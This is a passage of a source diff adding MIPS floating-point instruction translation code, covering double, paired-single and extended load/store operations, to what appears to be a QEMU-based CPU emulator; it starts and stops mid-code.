= tcg_temp_new_i32(tcg_ctx); + TCGv_i64 fp64 = tcg_temp_new_i64(tcg_ctx); + + gen_load_fpr64(ctx, fp64, fs); + gen_helper_float_floorw_d(tcg_ctx, fp32, tcg_ctx->cpu_env, fp64); + tcg_temp_free_i64(tcg_ctx, fp64); + gen_store_fpr32(ctx, fp32, fd); + tcg_temp_free_i32(tcg_ctx, fp32); + } + opn = "floor.w.d"; + break; + case OPC_SEL_D: + check_insn(ctx, ISA_MIPS32R6); + gen_sel_d(ctx, op1, fd, ft, fs); + opn = "sel.d"; + break; + case OPC_SELEQZ_D: + check_insn(ctx, ISA_MIPS32R6); + gen_sel_d(ctx, op1, fd, ft, fs); + opn = "seleqz.d"; + break; + case OPC_SELNEZ_D: + check_insn(ctx, ISA_MIPS32R6); + gen_sel_d(ctx, op1, fd, ft, fs); + opn = "selnez.d"; + break; + case OPC_MOVCF_D: + check_insn_opc_removed(ctx, ISA_MIPS32R6); + gen_movcf_d(ctx, fs, fd, (ft >> 2) & 0x7, ft & 0x1); + opn = "movcf.d"; + break; + case OPC_MOVZ_D: + check_insn_opc_removed(ctx, ISA_MIPS32R6); + { + int l1 = gen_new_label(tcg_ctx); + TCGv_i64 fp0; + + if (ft != 0) { + tcg_gen_brcondi_tl(tcg_ctx, TCG_COND_NE, *cpu_gpr[ft], 0, l1); + } + fp0 = tcg_temp_new_i64(tcg_ctx); + gen_load_fpr64(ctx, fp0, fs); + gen_store_fpr64(ctx, fp0, fd); + tcg_temp_free_i64(tcg_ctx, fp0); + gen_set_label(tcg_ctx, l1); + } + opn = "movz.d"; + break; + case OPC_MOVN_D: + check_insn_opc_removed(ctx, ISA_MIPS32R6); + { + int l1 = gen_new_label(tcg_ctx); + TCGv_i64 fp0; + + if (ft != 0) { + tcg_gen_brcondi_tl(tcg_ctx, TCG_COND_EQ, *cpu_gpr[ft], 0, l1); + fp0 = tcg_temp_new_i64(tcg_ctx); + gen_load_fpr64(ctx, fp0, fs); + gen_store_fpr64(ctx, fp0, fd); + tcg_temp_free_i64(tcg_ctx, fp0); + gen_set_label(tcg_ctx, l1); + } + } + opn = "movn.d"; + break; + case OPC_RECIP_D: + check_cp1_64bitmode(ctx); + { + TCGv_i64 fp0 = tcg_temp_new_i64(tcg_ctx); + + gen_load_fpr64(ctx, fp0, fs); + gen_helper_float_recip_d(tcg_ctx, fp0, tcg_ctx->cpu_env, fp0); + gen_store_fpr64(ctx, fp0, fd); + tcg_temp_free_i64(tcg_ctx, fp0); + } + opn = "recip.d"; + break; + case OPC_RSQRT_D: + check_cp1_64bitmode(ctx); + { + TCGv_i64 fp0 = tcg_temp_new_i64(tcg_ctx); + + gen_load_fpr64(ctx, fp0, fs); + gen_helper_float_rsqrt_d(tcg_ctx, fp0, tcg_ctx->cpu_env, fp0); + gen_store_fpr64(ctx, fp0, fd); + tcg_temp_free_i64(tcg_ctx, fp0); + } + opn = "rsqrt.d"; + break; + case OPC_MADDF_D: + check_insn(ctx, ISA_MIPS32R6); + { + TCGv_i64 fp0 = tcg_temp_new_i64(tcg_ctx); + TCGv_i64 fp1 = tcg_temp_new_i64(tcg_ctx); + TCGv_i64 fp2 = tcg_temp_new_i64(tcg_ctx); + gen_load_fpr64(ctx, fp0, fs); + gen_load_fpr64(ctx, fp1, ft); + gen_load_fpr64(ctx, fp2, fd); + gen_helper_float_maddf_d(tcg_ctx, fp2, tcg_ctx->cpu_env, fp0, fp1, fp2); + gen_store_fpr64(ctx, fp2, fd); + tcg_temp_free_i64(tcg_ctx, fp2); + tcg_temp_free_i64(tcg_ctx, fp1); + tcg_temp_free_i64(tcg_ctx, fp0); + opn = "maddf.d"; + } + break; + case OPC_MSUBF_D: + check_insn(ctx, ISA_MIPS32R6); + { + TCGv_i64 fp0 = tcg_temp_new_i64(tcg_ctx); + TCGv_i64 fp1 = tcg_temp_new_i64(tcg_ctx); + TCGv_i64 fp2 = tcg_temp_new_i64(tcg_ctx); + gen_load_fpr64(ctx, fp0, fs); + gen_load_fpr64(ctx, fp1, ft); + gen_load_fpr64(ctx, fp2, fd); + gen_helper_float_msubf_d(tcg_ctx, fp2, tcg_ctx->cpu_env, fp0, fp1, fp2); + gen_store_fpr64(ctx, fp2, fd); + tcg_temp_free_i64(tcg_ctx, fp2); + tcg_temp_free_i64(tcg_ctx, fp1); + tcg_temp_free_i64(tcg_ctx, fp0); + opn = "msubf.d"; + } + break; + case OPC_RINT_D: + check_insn(ctx, ISA_MIPS32R6); + { + TCGv_i64 fp0 = tcg_temp_new_i64(tcg_ctx); + gen_load_fpr64(ctx, fp0, fs); + gen_helper_float_rint_d(tcg_ctx, fp0, tcg_ctx->cpu_env, fp0); + gen_store_fpr64(ctx, fp0, fd); + tcg_temp_free_i64(tcg_ctx, fp0); + opn = "rint.d"; + } + break; + case OPC_CLASS_D: + check_insn(ctx, ISA_MIPS32R6); + { + TCGv_i64 fp0 = tcg_temp_new_i64(tcg_ctx); + gen_load_fpr64(ctx, fp0, fs); + gen_helper_float_class_d(tcg_ctx, fp0, fp0); + gen_store_fpr64(ctx, fp0, fd); + tcg_temp_free_i64(tcg_ctx, fp0); + opn = "class.d"; + } + break; + case OPC_MIN_D: /* OPC_RECIP2_D */ + if (ctx->insn_flags & ISA_MIPS32R6) { + /* OPC_MIN_D */ + TCGv_i64 fp0 = tcg_temp_new_i64(tcg_ctx); + TCGv_i64 fp1 = tcg_temp_new_i64(tcg_ctx); + gen_load_fpr64(ctx, fp0, fs); + gen_load_fpr64(ctx, fp1, ft); + gen_helper_float_min_d(tcg_ctx, fp1, tcg_ctx->cpu_env, fp0, fp1); + gen_store_fpr64(ctx, fp1, fd); + tcg_temp_free_i64(tcg_ctx, fp1); + tcg_temp_free_i64(tcg_ctx, fp0); + opn = "min.d"; + } else { + /* OPC_RECIP2_D */ + check_cp1_64bitmode(ctx); + { + TCGv_i64 fp0 = tcg_temp_new_i64(tcg_ctx); + TCGv_i64 fp1 = tcg_temp_new_i64(tcg_ctx); + + gen_load_fpr64(ctx, fp0, fs); + gen_load_fpr64(ctx, fp1, ft); + gen_helper_float_recip2_d(tcg_ctx, fp0, tcg_ctx->cpu_env, fp0, fp1); + tcg_temp_free_i64(tcg_ctx, fp1); + gen_store_fpr64(ctx, fp0, fd); + tcg_temp_free_i64(tcg_ctx, fp0); + } + opn = "recip2.d"; + } + break; + case OPC_MINA_D: /* OPC_RECIP1_D */ + if (ctx->insn_flags & ISA_MIPS32R6) { + /* OPC_MINA_D */ + TCGv_i64 fp0 = tcg_temp_new_i64(tcg_ctx); + TCGv_i64 fp1 = tcg_temp_new_i64(tcg_ctx); + gen_load_fpr64(ctx, fp0, fs); + gen_load_fpr64(ctx, fp1, ft); + gen_helper_float_mina_d(tcg_ctx, fp1, tcg_ctx->cpu_env, fp0, fp1); + gen_store_fpr64(ctx, fp1, fd); + tcg_temp_free_i64(tcg_ctx, fp1); + tcg_temp_free_i64(tcg_ctx, fp0); + opn = "mina.d"; + } else { + /* OPC_RECIP1_D */ + check_cp1_64bitmode(ctx); + { + TCGv_i64 fp0 = tcg_temp_new_i64(tcg_ctx); + + gen_load_fpr64(ctx, fp0, fs); + gen_helper_float_recip1_d(tcg_ctx, fp0, tcg_ctx->cpu_env, fp0); + gen_store_fpr64(ctx, fp0, fd); + tcg_temp_free_i64(tcg_ctx, fp0); + } + opn = "recip1.d"; + } + break; + case OPC_MAX_D: /* OPC_RSQRT1_D */ + if (ctx->insn_flags & ISA_MIPS32R6) { + /* OPC_MAX_D */ + TCGv_i64 fp0 = tcg_temp_new_i64(tcg_ctx); + TCGv_i64 fp1 = tcg_temp_new_i64(tcg_ctx); + gen_load_fpr64(ctx, fp0, fs); + gen_load_fpr64(ctx, fp1, ft); + gen_helper_float_max_d(tcg_ctx, fp1, tcg_ctx->cpu_env, fp0, fp1); + gen_store_fpr64(ctx, fp1, fd); + tcg_temp_free_i64(tcg_ctx, fp1); + tcg_temp_free_i64(tcg_ctx, fp0); + opn = "max.d"; + } else { + /* OPC_RSQRT1_D */ + check_cp1_64bitmode(ctx); + { + TCGv_i64 fp0 = tcg_temp_new_i64(tcg_ctx); + + gen_load_fpr64(ctx, fp0, fs); + gen_helper_float_rsqrt1_d(tcg_ctx, fp0, tcg_ctx->cpu_env, fp0); + gen_store_fpr64(ctx, fp0, fd); + tcg_temp_free_i64(tcg_ctx, fp0); + } + opn = "rsqrt1.d"; + } + break; + case OPC_MAXA_D: /* OPC_RSQRT2_D */ + if (ctx->insn_flags & ISA_MIPS32R6) { + /* OPC_MAXA_D */ + TCGv_i64 fp0 = tcg_temp_new_i64(tcg_ctx); + TCGv_i64 fp1 = tcg_temp_new_i64(tcg_ctx); + gen_load_fpr64(ctx, fp0, fs); + gen_load_fpr64(ctx, fp1, ft); + gen_helper_float_maxa_d(tcg_ctx, fp1, tcg_ctx->cpu_env, fp0, fp1); + gen_store_fpr64(ctx, fp1, fd); + tcg_temp_free_i64(tcg_ctx, fp1); + tcg_temp_free_i64(tcg_ctx, fp0); + opn = "maxa.d"; + } else { + /* OPC_RSQRT2_D */ + check_cp1_64bitmode(ctx); + { + TCGv_i64 fp0 = tcg_temp_new_i64(tcg_ctx); + TCGv_i64 fp1 = tcg_temp_new_i64(tcg_ctx); + + gen_load_fpr64(ctx, fp0, fs); + gen_load_fpr64(ctx, fp1, ft); + gen_helper_float_rsqrt2_d(tcg_ctx, fp0, tcg_ctx->cpu_env, fp0, fp1); + tcg_temp_free_i64(tcg_ctx, fp1); + gen_store_fpr64(ctx, fp0, fd); + tcg_temp_free_i64(tcg_ctx, fp0); + } + opn = "rsqrt2.d"; + } + break; + case OPC_CMP_F_D: + case OPC_CMP_UN_D: + case OPC_CMP_EQ_D: + case OPC_CMP_UEQ_D: + case OPC_CMP_OLT_D: + case OPC_CMP_ULT_D: + case OPC_CMP_OLE_D: + case OPC_CMP_ULE_D: + case OPC_CMP_SF_D: + case OPC_CMP_NGLE_D: + case OPC_CMP_SEQ_D: + case OPC_CMP_NGL_D: + case OPC_CMP_LT_D: + case OPC_CMP_NGE_D: + case OPC_CMP_LE_D: + case OPC_CMP_NGT_D: + check_insn_opc_removed(ctx, ISA_MIPS32R6); + if (ctx->opcode & (1 << 6)) { + gen_cmpabs_d(ctx, func-48, ft, fs, cc); + opn = condnames_abs[func-48]; + } else { + gen_cmp_d(ctx, func-48, ft, fs, cc); + opn = condnames[func-48]; + } + break; + case OPC_CVT_S_D: + check_cp1_registers(ctx, fs); + { + TCGv_i32 fp32 = tcg_temp_new_i32(tcg_ctx); + TCGv_i64 fp64 = tcg_temp_new_i64(tcg_ctx); + + gen_load_fpr64(ctx, fp64, fs); + gen_helper_float_cvts_d(tcg_ctx, fp32, tcg_ctx->cpu_env, fp64); + tcg_temp_free_i64(tcg_ctx, fp64); + gen_store_fpr32(ctx, fp32, fd); + tcg_temp_free_i32(tcg_ctx, fp32); + } + opn = "cvt.s.d"; + break; + case OPC_CVT_W_D: + check_cp1_registers(ctx, fs); + { + TCGv_i32 fp32 = tcg_temp_new_i32(tcg_ctx); + TCGv_i64 fp64 = tcg_temp_new_i64(tcg_ctx); + + gen_load_fpr64(ctx, fp64, fs); + gen_helper_float_cvtw_d(tcg_ctx, fp32, tcg_ctx->cpu_env, fp64); + tcg_temp_free_i64(tcg_ctx, fp64); + gen_store_fpr32(ctx, fp32, fd); + tcg_temp_free_i32(tcg_ctx, fp32); + } + opn = "cvt.w.d"; + break; + case OPC_CVT_L_D: + check_cp1_64bitmode(ctx); + { + TCGv_i64 fp0 = tcg_temp_new_i64(tcg_ctx); + + gen_load_fpr64(ctx, fp0, fs); + gen_helper_float_cvtl_d(tcg_ctx, fp0, tcg_ctx->cpu_env, fp0); + gen_store_fpr64(ctx, fp0, fd); + tcg_temp_free_i64(tcg_ctx, fp0); + } + opn = "cvt.l.d"; + break; + case OPC_CVT_S_W: + { + TCGv_i32 fp0 = tcg_temp_new_i32(tcg_ctx); + + gen_load_fpr32(ctx, fp0, fs); + gen_helper_float_cvts_w(tcg_ctx, fp0, tcg_ctx->cpu_env, fp0); + gen_store_fpr32(ctx, fp0, fd); + tcg_temp_free_i32(tcg_ctx, fp0); + } + opn = "cvt.s.w"; + break; + case OPC_CVT_D_W: + check_cp1_registers(ctx, fd); + { + TCGv_i32 fp32 = tcg_temp_new_i32(tcg_ctx); + TCGv_i64 fp64 = tcg_temp_new_i64(tcg_ctx); + + gen_load_fpr32(ctx, fp32, fs); + gen_helper_float_cvtd_w(tcg_ctx, fp64, tcg_ctx->cpu_env, fp32); + tcg_temp_free_i32(tcg_ctx, fp32); + gen_store_fpr64(ctx, fp64, fd); + tcg_temp_free_i64(tcg_ctx, fp64); + } + opn = "cvt.d.w"; + break; + case OPC_CVT_S_L: + check_cp1_64bitmode(ctx); + { + TCGv_i32 fp32 = tcg_temp_new_i32(tcg_ctx); + TCGv_i64 fp64 = tcg_temp_new_i64(tcg_ctx); + + gen_load_fpr64(ctx, fp64, fs); + gen_helper_float_cvts_l(tcg_ctx, fp32, tcg_ctx->cpu_env, fp64); + tcg_temp_free_i64(tcg_ctx, fp64); + gen_store_fpr32(ctx, fp32, fd); + tcg_temp_free_i32(tcg_ctx, fp32); + } + opn = "cvt.s.l"; + break; + case OPC_CVT_D_L: + check_cp1_64bitmode(ctx); + { + TCGv_i64 fp0 = tcg_temp_new_i64(tcg_ctx); + + gen_load_fpr64(ctx, fp0, fs); + gen_helper_float_cvtd_l(tcg_ctx, fp0, tcg_ctx->cpu_env, fp0); + gen_store_fpr64(ctx, fp0, fd); + tcg_temp_free_i64(tcg_ctx, fp0); + } + opn = "cvt.d.l"; + break; + case OPC_CVT_PS_PW: + check_insn_opc_removed(ctx, ISA_MIPS32R6); + check_cp1_64bitmode(ctx); + { + TCGv_i64 fp0 = tcg_temp_new_i64(tcg_ctx); + + gen_load_fpr64(ctx, fp0, fs); + gen_helper_float_cvtps_pw(tcg_ctx, fp0, tcg_ctx->cpu_env, fp0); + gen_store_fpr64(ctx, fp0, fd); + tcg_temp_free_i64(tcg_ctx, fp0); + } + opn = "cvt.ps.pw"; + break; + case OPC_ADD_PS: + check_cp1_64bitmode(ctx); + { + TCGv_i64 fp0 = tcg_temp_new_i64(tcg_ctx); + TCGv_i64 fp1 = tcg_temp_new_i64(tcg_ctx); + + gen_load_fpr64(ctx, fp0, fs); + gen_load_fpr64(ctx, fp1, ft); + gen_helper_float_add_ps(tcg_ctx, fp0, tcg_ctx->cpu_env, fp0, fp1); + tcg_temp_free_i64(tcg_ctx, fp1); + gen_store_fpr64(ctx, fp0, fd); + tcg_temp_free_i64(tcg_ctx, fp0); + } + opn = "add.ps"; + break; + case OPC_SUB_PS: + check_cp1_64bitmode(ctx); + { + TCGv_i64 fp0 = tcg_temp_new_i64(tcg_ctx); + TCGv_i64 fp1 = tcg_temp_new_i64(tcg_ctx); + + gen_load_fpr64(ctx, fp0, fs); + gen_load_fpr64(ctx, fp1, ft); + gen_helper_float_sub_ps(tcg_ctx, fp0, tcg_ctx->cpu_env, fp0, fp1); + tcg_temp_free_i64(tcg_ctx, fp1); + gen_store_fpr64(ctx, fp0, fd); + tcg_temp_free_i64(tcg_ctx, fp0); + } + opn = "sub.ps"; + break; + case OPC_MUL_PS: + check_cp1_64bitmode(ctx); + { + TCGv_i64 fp0 = tcg_temp_new_i64(tcg_ctx); + TCGv_i64 fp1 = tcg_temp_new_i64(tcg_ctx); + + gen_load_fpr64(ctx, fp0, fs); + gen_load_fpr64(ctx, fp1, ft); + gen_helper_float_mul_ps(tcg_ctx, fp0, tcg_ctx->cpu_env, fp0, fp1); + tcg_temp_free_i64(tcg_ctx, fp1); + gen_store_fpr64(ctx, fp0, fd); + tcg_temp_free_i64(tcg_ctx, fp0); + } + opn = "mul.ps"; + break; + case OPC_ABS_PS: + check_cp1_64bitmode(ctx); + { + TCGv_i64 fp0 = tcg_temp_new_i64(tcg_ctx); + + gen_load_fpr64(ctx, fp0, fs); + gen_helper_float_abs_ps(tcg_ctx, fp0, fp0); + gen_store_fpr64(ctx, fp0, fd); + tcg_temp_free_i64(tcg_ctx, fp0); + } + opn = "abs.ps"; + break; + case OPC_MOV_PS: + check_cp1_64bitmode(ctx); + { + TCGv_i64 fp0 = tcg_temp_new_i64(tcg_ctx); + + gen_load_fpr64(ctx, fp0, fs); + gen_store_fpr64(ctx, fp0, fd); + tcg_temp_free_i64(tcg_ctx, fp0); + } + opn = "mov.ps"; + break; + case OPC_NEG_PS: + check_cp1_64bitmode(ctx); + { + TCGv_i64 fp0 = tcg_temp_new_i64(tcg_ctx); + + gen_load_fpr64(ctx, fp0, fs); + gen_helper_float_chs_ps(tcg_ctx, fp0, fp0); + gen_store_fpr64(ctx, fp0, fd); + tcg_temp_free_i64(tcg_ctx, fp0); + } + opn = "neg.ps"; + break; + case OPC_MOVCF_PS: + check_cp1_64bitmode(ctx); + gen_movcf_ps(ctx, fs, fd, (ft >> 2) & 0x7, ft & 0x1); + opn = "movcf.ps"; + break; + case OPC_MOVZ_PS: + check_cp1_64bitmode(ctx); + { + int l1 = gen_new_label(tcg_ctx); + TCGv_i64 fp0; + + if (ft != 0) + tcg_gen_brcondi_tl(tcg_ctx, TCG_COND_NE, *cpu_gpr[ft], 0, l1); + fp0 = tcg_temp_new_i64(tcg_ctx); + gen_load_fpr64(ctx, fp0, fs); + gen_store_fpr64(ctx, fp0, fd); + tcg_temp_free_i64(tcg_ctx, fp0); + gen_set_label(tcg_ctx, l1); + } + opn = "movz.ps"; + break; + case OPC_MOVN_PS: + check_cp1_64bitmode(ctx); + { + int l1 = gen_new_label(tcg_ctx); + TCGv_i64 fp0; + + if (ft != 0) { + tcg_gen_brcondi_tl(tcg_ctx, TCG_COND_EQ, *cpu_gpr[ft], 0, l1); + fp0 = tcg_temp_new_i64(tcg_ctx); + gen_load_fpr64(ctx, fp0, fs); + gen_store_fpr64(ctx, fp0, fd); + tcg_temp_free_i64(tcg_ctx, fp0); + gen_set_label(tcg_ctx, l1); + } + } + opn = "movn.ps"; + break; + case OPC_ADDR_PS: + check_cp1_64bitmode(ctx); + { + TCGv_i64 fp0 = tcg_temp_new_i64(tcg_ctx); + TCGv_i64 fp1 = tcg_temp_new_i64(tcg_ctx); + + gen_load_fpr64(ctx, fp0, ft); + gen_load_fpr64(ctx, fp1, fs); + gen_helper_float_addr_ps(tcg_ctx, fp0, tcg_ctx->cpu_env, fp0, fp1); + tcg_temp_free_i64(tcg_ctx, fp1); + gen_store_fpr64(ctx, fp0, fd); + tcg_temp_free_i64(tcg_ctx, fp0); + } + opn = "addr.ps"; + break; + case OPC_MULR_PS: + check_cp1_64bitmode(ctx); + { + TCGv_i64 fp0 = tcg_temp_new_i64(tcg_ctx); + TCGv_i64 fp1 = tcg_temp_new_i64(tcg_ctx); + + gen_load_fpr64(ctx, fp0, ft); + gen_load_fpr64(ctx, fp1, fs); + gen_helper_float_mulr_ps(tcg_ctx, fp0, tcg_ctx->cpu_env, fp0, fp1); + tcg_temp_free_i64(tcg_ctx, fp1); + gen_store_fpr64(ctx, fp0, fd); + tcg_temp_free_i64(tcg_ctx, fp0); + } + opn = "mulr.ps"; + break; + case OPC_RECIP2_PS: + check_cp1_64bitmode(ctx); + { + TCGv_i64 fp0 = tcg_temp_new_i64(tcg_ctx); + TCGv_i64 fp1 = tcg_temp_new_i64(tcg_ctx); + + gen_load_fpr64(ctx, fp0, fs); + gen_load_fpr64(ctx, fp1, ft); + gen_helper_float_recip2_ps(tcg_ctx, fp0, tcg_ctx->cpu_env, fp0, fp1); + tcg_temp_free_i64(tcg_ctx, fp1); + gen_store_fpr64(ctx, fp0, fd); + tcg_temp_free_i64(tcg_ctx, fp0); + } + opn = "recip2.ps"; + break; + case OPC_RECIP1_PS: + check_cp1_64bitmode(ctx); + { + TCGv_i64 fp0 = tcg_temp_new_i64(tcg_ctx); + + gen_load_fpr64(ctx, fp0, fs); + gen_helper_float_recip1_ps(tcg_ctx, fp0, tcg_ctx->cpu_env, fp0); + gen_store_fpr64(ctx, fp0, fd); + tcg_temp_free_i64(tcg_ctx, fp0); + } + opn = "recip1.ps"; + break; + case OPC_RSQRT1_PS: + check_cp1_64bitmode(ctx); + { + TCGv_i64 fp0 = tcg_temp_new_i64(tcg_ctx); + + gen_load_fpr64(ctx, fp0, fs); + gen_helper_float_rsqrt1_ps(tcg_ctx, fp0, tcg_ctx->cpu_env, fp0); + gen_store_fpr64(ctx, fp0, fd); + tcg_temp_free_i64(tcg_ctx, fp0); + } + opn = "rsqrt1.ps"; + break; + case OPC_RSQRT2_PS: + check_cp1_64bitmode(ctx); + { + TCGv_i64 fp0 = tcg_temp_new_i64(tcg_ctx); + TCGv_i64 fp1 = tcg_temp_new_i64(tcg_ctx); + + gen_load_fpr64(ctx, fp0, fs); + gen_load_fpr64(ctx, fp1, ft); + gen_helper_float_rsqrt2_ps(tcg_ctx, fp0, tcg_ctx->cpu_env, fp0, fp1); + tcg_temp_free_i64(tcg_ctx, fp1); + gen_store_fpr64(ctx, fp0, fd); + tcg_temp_free_i64(tcg_ctx, fp0); + } + opn = "rsqrt2.ps"; + break; + case OPC_CVT_S_PU: + check_cp1_64bitmode(ctx); + { + TCGv_i32 fp0 = tcg_temp_new_i32(tcg_ctx); + + gen_load_fpr32h(ctx, fp0, fs); + gen_helper_float_cvts_pu(tcg_ctx, fp0, tcg_ctx->cpu_env, fp0); + gen_store_fpr32(ctx, fp0, fd); + tcg_temp_free_i32(tcg_ctx, fp0); + } + opn = "cvt.s.pu"; + break; + case OPC_CVT_PW_PS: + check_cp1_64bitmode(ctx); + { + TCGv_i64 fp0 = tcg_temp_new_i64(tcg_ctx); + + gen_load_fpr64(ctx, fp0, fs); + gen_helper_float_cvtpw_ps(tcg_ctx, fp0, tcg_ctx->cpu_env, fp0); + gen_store_fpr64(ctx, fp0, fd); + tcg_temp_free_i64(tcg_ctx, fp0); + } + opn = "cvt.pw.ps"; + break; + case OPC_CVT_S_PL: + check_cp1_64bitmode(ctx); + { + TCGv_i32 fp0 = tcg_temp_new_i32(tcg_ctx); + + gen_load_fpr32(ctx, fp0, fs); + gen_helper_float_cvts_pl(tcg_ctx, fp0, tcg_ctx->cpu_env, fp0); + gen_store_fpr32(ctx, fp0, fd); + tcg_temp_free_i32(tcg_ctx, fp0); + } + opn = "cvt.s.pl"; + break; + case OPC_PLL_PS: + check_cp1_64bitmode(ctx); + { + TCGv_i32 fp0 = tcg_temp_new_i32(tcg_ctx); + TCGv_i32 fp1 = tcg_temp_new_i32(tcg_ctx); + + gen_load_fpr32(ctx, fp0, fs); + gen_load_fpr32(ctx, fp1, ft); + gen_store_fpr32h(ctx, fp0, fd); + gen_store_fpr32(ctx, fp1, fd); + tcg_temp_free_i32(tcg_ctx, fp0); + tcg_temp_free_i32(tcg_ctx, fp1); + } + opn = "pll.ps"; + break; + case OPC_PLU_PS: + check_cp1_64bitmode(ctx); + { + TCGv_i32 fp0 = tcg_temp_new_i32(tcg_ctx); + TCGv_i32 fp1 = tcg_temp_new_i32(tcg_ctx); + + gen_load_fpr32(ctx, fp0, fs); + gen_load_fpr32h(ctx, fp1, ft); + gen_store_fpr32(ctx, fp1, fd); + gen_store_fpr32h(ctx, fp0, fd); + tcg_temp_free_i32(tcg_ctx, fp0); + tcg_temp_free_i32(tcg_ctx, fp1); + } + opn = "plu.ps"; + break; + case OPC_PUL_PS: + check_cp1_64bitmode(ctx); + { + TCGv_i32 fp0 = tcg_temp_new_i32(tcg_ctx); + TCGv_i32 fp1 = tcg_temp_new_i32(tcg_ctx); + + gen_load_fpr32h(ctx, fp0, fs); + gen_load_fpr32(ctx, fp1, ft); + gen_store_fpr32(ctx, fp1, fd); + gen_store_fpr32h(ctx, fp0, fd); + tcg_temp_free_i32(tcg_ctx, fp0); + tcg_temp_free_i32(tcg_ctx, fp1); + } + opn = "pul.ps"; + break; + case OPC_PUU_PS: + check_cp1_64bitmode(ctx); + { + TCGv_i32 fp0 = tcg_temp_new_i32(tcg_ctx); + TCGv_i32 fp1 = tcg_temp_new_i32(tcg_ctx); + + gen_load_fpr32h(ctx, fp0, fs); + gen_load_fpr32h(ctx, fp1, ft); + gen_store_fpr32(ctx, fp1, fd); + gen_store_fpr32h(ctx, fp0, fd); + tcg_temp_free_i32(tcg_ctx, fp0); + tcg_temp_free_i32(tcg_ctx, fp1); + } + opn = "puu.ps"; + break; + case OPC_CMP_F_PS: + case OPC_CMP_UN_PS: + case OPC_CMP_EQ_PS: + case OPC_CMP_UEQ_PS: + case OPC_CMP_OLT_PS: + case OPC_CMP_ULT_PS: + case OPC_CMP_OLE_PS: + case OPC_CMP_ULE_PS: + case OPC_CMP_SF_PS: + case OPC_CMP_NGLE_PS: + case OPC_CMP_SEQ_PS: + case OPC_CMP_NGL_PS: + case OPC_CMP_LT_PS: + case OPC_CMP_NGE_PS: + case OPC_CMP_LE_PS: + case OPC_CMP_NGT_PS: + if (ctx->opcode & (1 << 6)) { + gen_cmpabs_ps(ctx, func-48, ft, fs, cc); + opn = condnames_abs[func-48]; + } else { + gen_cmp_ps(ctx, func-48, ft, fs, cc); + opn = condnames[func-48]; + } + break; + default: + MIPS_INVAL(opn); + generate_exception (ctx, EXCP_RI); + return; + } + (void)opn; /* avoid a compiler warning */ + switch (optype) { + case BINOP: + MIPS_DEBUG("%s %s, %s, %s", opn, fregnames[fd], fregnames[fs], fregnames[ft]); + break; + case CMPOP: + MIPS_DEBUG("%s %s,%s", opn, fregnames[fs], fregnames[ft]); + break; + default: + MIPS_DEBUG("%s %s,%s", opn, fregnames[fd], fregnames[fs]); + break; + } +} + +/* Coprocessor 3 (FPU) */ +static void gen_flt3_ldst (DisasContext *ctx, uint32_t opc, + int fd, int fs, int base, int index) +{ + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + TCGv **cpu_gpr = (TCGv **)tcg_ctx->cpu_gpr; + const char *opn = "extended float load/store"; + int store = 0; + TCGv t0 = tcg_temp_new(tcg_ctx); + + if (base == 0) { + gen_load_gpr(ctx, t0, index); + } else if (index == 0) { + gen_load_gpr(ctx, t0, base); + } else { + gen_op_addr_add(ctx, t0, *cpu_gpr[base], *cpu_gpr[index]); + } + /* Don't do NOP if destination is zero: we must perform the actual + memory access. */ + switch (opc) { + case OPC_LWXC1: + check_cop1x(ctx); + { + TCGv_i32 fp0 = tcg_temp_new_i32(tcg_ctx); + + tcg_gen_qemu_ld_tl(ctx->uc, t0, t0, ctx->mem_idx, MO_TESL); + tcg_gen_trunc_tl_i32(tcg_ctx, fp0, t0); + gen_store_fpr32(ctx, fp0, fd); + tcg_temp_free_i32(tcg_ctx, fp0); + } + opn = "lwxc1"; + break; + case OPC_LDXC1: + check_cop1x(ctx); + check_cp1_registers(ctx, fd); + { + TCGv_i64 fp0 = tcg_temp_new_i64(tcg_ctx); + tcg_gen_qemu_ld_i64(ctx->uc, fp0, t0, ctx->mem_idx, MO_TEQ); + gen_store_fpr64(ctx, fp0, fd); + tcg_temp_free_i64(tcg_ctx, fp0); + } + opn = "ldxc1"; + break; + case OPC_LUXC1: + check_cp1_64bitmode(ctx); + tcg_gen_andi_tl(tcg_ctx, t0, t0, ~0x7); + { + TCGv_i64 fp0 = tcg_temp_new_i64(tcg_ctx); + + tcg_gen_qemu_ld_i64(ctx->uc, fp0, t0, ctx->mem_idx, MO_TEQ); + gen_store_fpr64(ctx, fp0, fd); + tcg_temp_free_i64(tcg_ctx, fp0); + } + opn = "luxc1"; + break; + case OPC_SWXC1: + check_cop1x(ctx); + { + TCGv_i32 fp0 = tcg_temp_new_i32(tcg_ctx); + gen_load_fpr32(ctx, fp0, fs); + tcg_gen_qemu_st_i32(ctx->uc, fp0, t0, ctx->mem_idx, MO_TEUL); + tcg_temp_free_i32(tcg_ctx, fp0); + } + opn = "swxc1"; + store = 1; + break; + case OPC_SDXC1: + check_cop1x(ctx); + check_cp1_registers(ctx, fs); + { + TCGv_i64 fp0 = tcg_temp_new_i64(tcg_ctx); + gen_load_fpr64(ctx, fp0, fs); + tcg_gen_qemu_st_i64(ctx->uc, fp0, t0, ctx->mem_idx, MO_TEQ); + tcg_temp_free_i64(tcg_ctx, fp0); + } + opn = "sdxc1"; + store = 1; + break; + case OPC_SUXC1: + check_cp1_64bitmode(ctx); + tcg_gen_andi_tl(tcg_ctx, t0, t0, ~0x7); + { + TCGv_i64 fp0 = tcg_temp_new_i64(tcg_ctx); + gen_load_fpr64(ctx, fp0, fs); + tcg_gen_qemu_st_i64(ctx->uc, fp0, t0, ctx->mem_idx, MO_TEQ); + tcg_temp_free_i64(tcg_ctx, fp0); + } + opn = "suxc1"; + store = 1; + break; + } + tcg_temp_free(tcg_ctx, t0); + (void)opn; (void)store; /* avoid compiler warnings */ + MIPS_DEBUG("%s %s, %s(%s)", opn, fregnames[store ? fs : fd], + regnames[index], regnames[base]); +} + +static void gen_flt3_arith (DisasContext *ctx, uint32_t opc, + int fd, int fr, int fs, int ft) +{ + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + const char *opn = "flt3_arith"; + + switch (opc) { + case OPC_ALNV_PS: + check_cp1_64bitmode(ctx); + { + TCGv t0 = tcg_temp_local_new(tcg_ctx); + TCGv_i32 fp = tcg_temp_new_i32(tcg_ctx); + TCGv_i32 fph = tcg_temp_new_i32(tcg_ctx); + int l1 = gen_new_label(tcg_ctx); + int l2 = gen_new_label(tcg_ctx); + + gen_load_gpr(ctx, t0, fr); + tcg_gen_andi_tl(tcg_ctx, t0, t0, 0x7); + + tcg_gen_brcondi_tl(tcg_ctx, TCG_COND_NE, t0, 0, l1); + gen_load_fpr32(ctx, fp, fs); + gen_load_fpr32h(ctx, fph, fs); + 